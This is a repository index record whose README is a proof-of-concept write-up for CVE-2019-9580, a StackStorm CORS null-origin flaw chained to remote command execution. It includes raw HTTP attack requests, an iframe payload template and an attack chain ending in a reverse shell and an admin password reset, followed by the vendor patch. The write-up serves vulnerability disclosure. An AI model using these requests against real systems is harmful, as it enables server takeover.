{"id":18265887,"url":"https://github.com/mpgn/cve-2019-9580","last_synced_at":"2026-01-21T11:11:40.267Z","repository":{"id":76017606,"uuid":"175478558","full_name":"mpgn/CVE-2019-9580","owner":"mpgn","description":"CVE-2019-9580 - StackStorm: exploiting CORS misconfiguration (null origin) to gain RCE","archived":false,"fork":false,"pushed_at":"2019-03-13T19:26:27.000Z","size":11,"stargazers_count":32,"open_issues_count":0,"forks_count":4,"subscribers_count":2,"default_branch":"master","last_synced_at":"2025-04-09T01:45:55.610Z","etag":null,"topics":["stackstorm"],"latest_commit_sha":null,"homepage":"","language":"HTML","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/mpgn.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2019-03-13T18:37:18.000Z","updated_at":"2024-08-24T12:19:58.000Z","dependencies_parsed_at":null,"dependency_job_id":"87fe64c4-043c-47a7-a559-f0ce416ff687","html_url":"https://github.com/mpgn/CVE-2019-9580","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/mpgn/CVE-2019-9580","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2019-9580","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2019-9580/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2019-9580/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2019-9580/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mpgn","download_url":"https://codeload.github.com/mpgn/CVE-2019-9580/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2019-9580/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":28632382,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-01-21T04:47:28.174Z","status":"ssl_error","status_checked_at":"2026-01-21T04:47:22.943Z","response_time":86,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["stackstorm"],"created_at":"2024-11-05T11:20:27.010Z","updated_at":"2026-01-21T11:11:40.253Z","avatar_url":"https://github.com/mpgn.png","language":"HTML","funding_links":[],"categories":[],"sub_categories":[],"readme":"# CVE-2019-9580 - StackStorm exploiting CORS null origin to gain RCE \u003c 2.9.3 and 2.10.3\n\n\u003e Prior to 2.10.3/2.9.3, if the origin of the request was unknown, we would return null.  null can result in a successful request from an unknown origin in some clients. Allowing the possibility of XSS style attacks against the StackStorm API.\n\nfound by [Barak Tawily](https://github.com/Quitten) and [Anna Tsibulskaya](https://github.com/anna-wix)\n\n![Peek 13-03-2019 17-16](https://user-images.githubusercontent.com/5891788/54295917-39f07300-45b4-11e9-8387-63ed2b64878e.gif)\n_(user on Firefox is the victim, user on Chrome is the attacker)_\n\n### Proof of Concept\n\n\n#### Exploiting null CORS\nBy sending a request to the StackStorm API with an null Origin header `Origin: null`, the server responds with an `Access-Control-Allow-Origin` to `null`.\n\n```\nGET /api/v1/executions?action=packs.get_config\u0026limit=5\u0026exclude_attributes=trigger_instance\u0026parent=null HTTP/1.1\nHost: localhost:4443\nOrigin: 443\nReferer: https://localhost:4443/\nx-auth-token: a19e39b9dff24e4798ba04c7036d0275\n```\n\nServer response:\n```\nAccess-Control-Allow-Origin: null \u003c-- hug hug hug\nAccess-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS\nAccess-Control-Allow-Headers: Content-Type,Authorization,X-Auth-Token,St2-Api-Key,X-Request-ID\nAccess-Control-Allow-Credentials: true\nAccess-Control-Expose-Headers: Content-Type,X-Limit,X-Total-Count,X-Request-ID\n```\n\nExploiting null CORS is documented on a [blogpost from portswigger](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) and we can found the following payload:\n```javascript\n\u003ciframe sandbox=\"allow-scripts allow-top-navigation allow-forms\" src='data:text/html,\n\u003cscript\u003e\n\n*inject your malicous code*\n\n\u003c/script\u003e’\u003e\u003c/iframe\u003e\n```\n\n#### But what about the RCE ?\n\nStackStorm allows you to configure **actions** and some of them like `core.remote` execute arbitrary command on the host of your choice.\n\n![image](https://user-images.githubusercontent.com/5891788/54306352-7aa6b700-45c9-11e9-988c-726b150c9303.png)\n\nSo if we put host **127.0.0.1**, we will execute command on the StackStorm docker. Nice, RCE should be OK since a simple POST request is send to register an **action**.\n\n```\nPOST /api/v1/executions HTTP/1.1\nHost: localhost:4443\nOrigin: null\nContent-Type: application/json\nx-auth-token: a19e39b9dff24e4798ba04c7036d0275\nContent-Length: 131\n\n{\"action\":\"core.remote\",\"parameters\":{\"cmd\":\"touch /tmp/pwn2.txt\",\"hosts\":\"127.0.0.1\",\"cwd\":\"/tmp\"},\"context\":{\"trace_context\":{}}}\n```\n\n#### What next ?\n\nWe can execute command on the host of StackStorm okay, but let's gain full control over StackStorm plateform. This can be down by reseting the password of the administrator. Using the documention:\n\n\u003e Need to change the password? Run: sudo htpasswd /etc/st2/htpasswd st2admin.\nhttps://docs.stackstorm.com/authentication.html\n\nNice, let's just put all together :\n1. Send a link to the victim with malicous payload that register a new **action** on the host 127.0.0.1 to exec an arbirary command\n2. The victim clicks on the link and view the pony\n3. Since CORS is null when a request is sent with header `Origin: null`, the POST request to register the new action is working (we also set the parameter `credentials: \"include\"`)\n4. The action is trigger and command executed (reverse shell)\n5. Attacker resets the password of the administrator and gain full control over StackStorm platform\n6. Attacker can corrupt all the other host registered into StackStorm\n\n![capture d'écran_1](https://user-images.githubusercontent.com/5891788/54295923-3d83fa00-45b4-11e9-82c5-faec2d5b2456.png)\n\n**Security Advisory**: \n- https://stackstorm.com/2019/03/08/stackstorm-2-9-3-2-10-3/\n- https://github.com/StackStorm/st2/pull/4577/commits/66605b7b202b8bd2db1ccd8c1ce7279028ac86d4\n\n```diff\nFrom 66605b7b202b8bd2db1ccd8c1ce7279028ac86d4 Mon Sep 17 00:00:00 2001\nFrom: bigmstone \u003cmatthew99@gmail.com\u003e\nDate: Tue, 5 Mar 2019 12:22:26 -0600\nSubject: [PATCH] Fix improper CORS return\n\nPrior to this commit if you sent a request from an origin not listed in\n`allowed_origins` we would respond with `null` for the\n`Access-Control-Allow-Origin` header. Per\n[https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin#Directives](mozilla's documentation)\nnull should not be used as some clients will allow the request to go\nthrough. This commit returns the first of our allowed origins if the\nrequesting origin is not a supported origin.\n---\n st2api/tests/unit/controllers/v1/test_base.py | 4 ++--\n st2common/st2common/middleware/cors.py        | 2 +-\n 2 files changed, 3 insertions(+), 3 deletions(-)\n\ndiff --git a/st2api/tests/unit/controllers/v1/test_base.py b/st2api/tests/unit/controllers/v1/test_base.py\nindex 2a753f22ea..e66148a0a5 100644\n--- a/st2api/tests/unit/controllers/v1/test_base.py\n+++ b/st2api/tests/unit/controllers/v1/test_base.py\n@@ -51,8 +51,8 @@ def test_wrong_origin(self):\n             'origin': 'http://xss'\n         })\n         self.assertEqual(response.status_int, 200)\n-        self.assertEqual(response.headers['Access-Control-Allow-Origin'],\n-                         'null')\n+        self.assertEqual(response.headers.get('Access-Control-Allow-Origin'),\n+                        'http://127.0.0.1:3000')\n \n     def test_wildcard_origin(self):\n         try:\ndiff --git a/st2common/st2common/middleware/cors.py b/st2common/st2common/middleware/cors.py\nindex 5781b1a6e7..8cb407b52c 100644\n--- a/st2common/st2common/middleware/cors.py\n+++ b/st2common/st2common/middleware/cors.py\n@@ -66,7 +66,7 @@ def custom_start_response(status, headers, exc_info=None):\n                     origin_allowed = origin\n                 else:\n                     # See http://www.w3.org/TR/cors/#access-control-allow-origin-response-header\n-                    origin_allowed = origin if origin in origins else 'null'\n+                    origin_allowed = origin if origin in origins else list(origins)[0]\n             else:\n                 origin_allowed = list(origins)[0]\n```\n\n### Ressources:\n\n* https://stackstorm.com/2019/03/08/stackstorm-2-9-3-2-10-3/\n* https://quitten.github.io/StackStorm/\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmpgn%2Fcve-2019-9580","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmpgn%2Fcve-2019-9580","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmpgn%2Fcve-2019-9580/lists"}